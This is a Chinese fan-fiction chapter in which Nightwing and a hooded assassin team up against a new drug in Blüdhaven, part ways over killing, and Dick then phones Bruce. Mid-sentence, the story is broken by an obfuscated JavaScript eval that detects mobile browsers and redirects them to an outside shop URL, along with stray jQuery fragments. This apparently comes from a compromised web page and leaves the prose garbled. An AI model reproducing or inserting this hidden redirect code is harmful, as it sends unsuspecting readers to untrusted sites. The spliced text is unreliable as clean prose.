话说出口，刺客才意识到不对劲。夜翼无言地看着他，原本板着的脸有点儿松动了，没忍住露出一个笑来。月光从云朵里透出来，投到了他们身上，刺客发现夜翼的紧身衣是真的很紧身，不由得尴尬地移开了视线。
“你看够了？”夜翼还问他。
轮到刺客板着脸了，“我不是那个意思。”
夜翼居然笑出了声。刺客转回视线，谴责地盯着他瞧，但夜翼没再追着他问了，只是很自然地转移了话题，“我听说布鲁德海文大学的枪杀案是你阻止的。”
刺客没否认，“我也听说你是这座城市的义警。”
夜翼也看着他，“嗯哼。”
“你检查过那具尸体吗？”刺客直白地问。
夜翼想不到他这么快切入正题的同时，又很诧异他说的“那具”尸体究竟是哪一具。但他脑子一转，很快反应过来，刺客指的应该是那个流浪汉。
“它怎么了？”夜翼不动声色地把问题抛了回去。
“他生前吸入了大量毒品，”刺客就说，“我在靠近的时候闻到了那股味道。我知道大多数毒品闻起来是什么样的，但他身上的味道有点特别，所以我就在想，那会不会是一种新型毒品？”
夜翼吃惊地看了他一会儿，然后表情就严肃了许多。
“是的。”义警很肯定地告诉刺客，“我也发现了，布鲁德海文最近流行起一款新型毒品，见效更快，也更疯狂。你在追查这件事吗？”
刺客点点头，“你有线索吗？”
夜翼看着他，张了张嘴，又闭上了。他沉默了一会儿，也很诚实地回答，“我有怀疑的对象，但还没找到证据。”
刺客没问他的怀疑对象是谁，蹲在那儿摸了摸下巴，然后就问，“合作吗？”
夜翼学着他的样子，也摸了摸下巴，“我好像没有拒绝的理由。”
他确实没有拒绝的理由。只不过超英之间的合作似乎通常由一顿互殴开始，又或者一次意外的误会，又或者一些乱七八糟的碰撞，总之伴随着激烈的肢体冲突和（可能存在的）恶劣挑衅，以至于夜翼竟然有点儿微妙的不适应。
这倒不是说他会喜欢那种合作开头。夜翼自认为是个又善良又正经的好超英，没有那种揍人或者被揍的特殊爱好。
要是所有人都能这样平和地问一句“合作吗”该多好？想到这里，夜翼瞧着刺客的眼神不由得友善了许多。但以防万一，他还是问了一句，“如果我拒绝，你会怎么样？”
不知道为什么，刺客笑了一声。
“我打赌我会做一件你绝对想不到的事情。”
夜翼有点儿警惕，“哦？”
“真的，你绝对想不到。”刺客歪了一下脑袋，“你敢和我打赌吗？”
刚刚年过二十的夜翼立刻就说，“有什么不敢的？”
原本蹲在那儿的刺客于是活动了起来，伸展了一下身体。在这么做的时候，他一直低头瞧着夜翼，后者也抱着胳膊，歪着脑袋看他。一直到刺客站了起来，夜翼也没什么动作，只是注视着刺客，以一个有点警惕，但也只有一点警惕的表情。
“我会去买点薯条吃，”刺客扬了扬下巴，“忙了一晚上，我有点饿了。你想不想一起来？”
夜翼一静。
刺客补充说，“刚出炉的那种，炸得香喷喷、金灿灿的薯条。”
夜翼终于忍不住笑了起来，“那要是我既想和你走，又不想拒绝你，我该怎么办呢？”
刺客也笑了，“你是笨蛋吗？”
“我是，”夜翼爽快地承认了，“快走吧，我也已经饿得要命了。”
输了打赌的夜翼大大方方地请了这一顿，刺客也坦然接受了。他们坐在高高的楼顶上，分享着夜宵和信息。四月里的风柔和地吹到他们身上，刺客的兜帽和夜翼的黑发在那儿沙沙地起伏着。
“布鲁德海文是一锅浓汤，炖满了帮派势力，”夜翼咬着一个圆滚滚的汉堡，两边脸蛋鼓鼓地告诉刺客，“你会发现你很难在这锅浓汤里精准地捞到你想要的那颗西兰花。”
他早就发现了这种新型毒品，花了一段时间才逐渐总结出一点儿规律，认为它经常出现在梅尔维尔区。但光是这块区域就有很多个大小势力了。
“我怀疑一个叫‘索恩’的帮派老大。”夜翼总结，“我已经问过其他人了，只剩他没回答我的问题。”
“你不会恰好知道他在哪吧？”刺客就问。
“我当然不知道。”夜翼笑了，“要是我知道，我就直接上门问他了。”
刺客也笑了，“像‘问’刚才那个硬汉一样‘问’他？”
“当然了，笨蛋。”
刺客已经够自来熟的了，没想到夜翼居然能比他还自来熟，顿时甘拜下风，低头捡薯条吃。坐在食物另一边的夜翼终于咽下去那只汉堡，满意地拍了拍手上的碎屑。
“你确定要和我合作吗？”夜翼问。
“我们在同一座城市里活动，碰上是迟早的事情，”刺客咬着橙汁吸管，含糊地回答，“合作总比敌对好。”
夜翼假装很遗憾地叹一口气，“我还以为你被我的人格魅力吸引了呢。”
刺客噗嗤一声笑了，“少来。”
“你看，我又把你逗笑了。”
“你才没有。”
夜翼笑了一会儿。这阵有来有往、意外合拍的插科打诨不由得让他产生了一种温暖的幻觉，就好像他们认识了很久，已经是很好的朋友似的。但他很快清醒过来，说起了正事，“如果你要和我合作，有一件事情我必须让你知道。”
“请说。”
“我不杀人。”夜翼说，“原则性的那种。”
夜翼能听出来刺客吸橙汁的声音短暂地停止了几秒钟。兜帽下的眼睛在无声地打量着他。要是换做动物语言，两个人互相盯着，大约就是要打起来的意思了。幸好人类语言不讲这个，但刚才那阵温暖的，美妙的气氛，仍然像是被冰冷的现实瀑布兜头浇没了。
他杀人，但夜翼不。
这就是个（看似）不可调和的矛盾了。
但就在夜翼凝神等待着刺客可能会发起的辩论时，刺客重新开始吸那杯快喝完的橙汁了。
“你和蝙蝠侠什么关系？”他说。
“嗯？”夜翼猝不及防，“我…蝙蝠侠……等等，这和我们刚才的话题有关系吗？你认识蝙蝠侠？”
好拙劣的反击。夜翼不由得想。
但任何一个被问到“你和你爸什么关系”的人大概都会是这个反应。那可是蝙蝠侠！他又是第一任罗宾！
到底谁会问罗宾和蝙蝠侠是什么关系？！
“我不认识，”刚刚问出这种惊天问题的刺客这时候很坦然地回答，“但我听说他不杀人，而他就在哥谭，你就在布鲁德海文，你们这么近……”
“好了，够了，”夜翼没忍住扶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179415|196943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下额头，“这不是重点。这就是你的全部反应吗？对我那句‘我不杀人’的反应？”
刺客叹了口气，“你想听点直接的？”
“直接点。”
“我也有一条类似的原则，”刺客搁下了那只空荡荡的纸杯，“但比你多一个词。我不杀无辜的人。”
夜翼没说话，只是抿紧了嘴唇。他们互相看了一会儿，没有人再询问或试探关于“原则”的细枝末节，也没有人开口劝说另一个人放弃他的原则。
“真可惜，”刺客随后说，“我还挺喜欢你的。希望我们不会成为敌人。”
“我真希望我们能成为朋友。”夜翼则说。
刺客笑了。他拉上面罩，站了起来，“谢谢你的麦当劳。要是有机会的话，下次我请。”
他们以一种很优雅的方式谈崩了。
这种没打架的谈崩方式实在让人心里有点难受，很容易给人一种“要是再聊聊他们就能改变现状”的错觉。但凡他们怒气冲冲地吵了一架，打了起来，此时一定没有一点儿留恋地转身就走了，但问题就在于他们没有。
他们甚至展现出了相当的友好，尊重和礼貌。
于是这阵虚幻的“本能改变”的错觉笼罩了被遗留在原地的夜翼，就像是一只蝴蝶在上空扑闪着它的翅膀；而夜翼被那美丽多彩的磷粉洒了一身，很轻易地生出一点儿忧郁遗憾的情绪来。
我还不知道他叫什么。夜翼忽然想到。
“晚安，夜翼，”刺客向他致意，“祝你做个好梦。”
“等等，”夜翼想到什么就说什么，“我还不知道你的名字。”
“名字？”
“代号？”
正要离开的刺客惊讶地顿了一下。他踩在楼顶边缘，回头看了一眼夜翼。
“我没有代号，”刺客说，“但你可以叫我‘刺客’。”
·
“他说他是个刺客，”夜翼问，“你有什么头绪吗？”
他正光着脚站在他公寓里的地板上，忙着脱掉那层过于紧身的制服。在打着电话的时候，迪克板着脸，试图摆出一副很严肃的样子，虽然他知道电话对面理论上来说应该看不见他的表情。理论上。
“这个世界上有很多刺客。”
布鲁斯回答得很客观，但迪克很怀疑他是在装傻。
“是啊，”迪克就很不客气地说，“你还和其中一个有了个孩子呢。”
布鲁斯一点儿也没受影响，“你认为他和刺客联盟有关系？”
“才不。”迪克想了想，“好吧，我一开始可能是这么想的。他的穿着打扮都很像是刺客联盟的刺客，你懂的，用兜帽把自己遮得严严实实的那一套。但他后来说他不杀无辜的人。”
他们都知道刺客联盟的刺客可不管无辜不无辜的。接到命令，杀就完了。
果然，布鲁斯若有所思地哼了一声。迪克听了，眼睛立刻一亮，“你知道！”
“我还什么都没说呢。”
“你哼的方式不一样，”迪克肯定极了，“你哼的是‘哼嗯’而不是‘嗯哼’，要是你只是表示你知道了，你就不会‘哼嗯’了。”
“好吧，被你看穿了，”布鲁斯笑了，“我确实可能有点儿线索。”
迪克得意洋洋，“我就知道。”
然后，出乎意料地，布鲁斯就问了他一个看似风马牛不相及的问题，“你玩过‘刺客信条’吗？”